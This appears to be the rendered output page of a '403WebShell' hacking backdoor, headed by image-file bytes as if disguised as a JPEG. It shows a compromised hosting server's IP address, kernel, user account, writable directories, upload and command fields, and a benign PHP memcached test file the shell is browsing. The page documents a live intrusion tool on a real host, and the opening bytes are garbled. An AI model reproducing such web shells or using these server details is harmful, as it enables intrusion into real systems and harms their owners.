����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.144.154.109
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php80/root/usr/share/tests/pecl/memcached/tests/setoptions.phpt
--TEST--
Set options using setOptions
--SKIPIF--
<?php include "skipif.inc";?>
--FILE--
<?php
$m = new Memcached();

/* existing options */
var_dump($m->setOptions(array(
	Memcached::OPT_PREFIX_KEY => 'a_prefix',
	Memcached::OPT_SERIALIZER => Memcached::SERIALIZER_PHP,
	Memcached::OPT_COMPRESSION => 0,
	Memcached::OPT_LIBKETAMA_COMPATIBLE => 1,
	Memcached::OPT_CONNECT_TIMEOUT => 5000,
)));

var_dump($m->getOption(Memcached::OPT_PREFIX_KEY) == 'a_prefix');
var_dump($m->getOption(Memcached::OPT_SERIALIZER) == Memcached::SERIALIZER_PHP);
var_dump($m->getOption(Memcached::OPT_COMPRESSION) == 0);
var_dump($m->getOption(Memcached::OPT_LIBKETAMA_COMPATIBLE) == 1);

echo "test invalid options\n";

var_dump($m->setOptions(array(
	"asdf" => 123
)));

var_dump($m->setOptions(array(
	-1 => 123
)));

--EXPECTF--
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
test invalid options

Warning: Memcached::setOptions(): invalid configuration option in %s on line %d
bool(false)

Warning: Memcached::setOptions(): error setting memcached option: %s in %s on line %d
bool(false)

Youez - 2016 - github.com/yon3zu
LinuXploit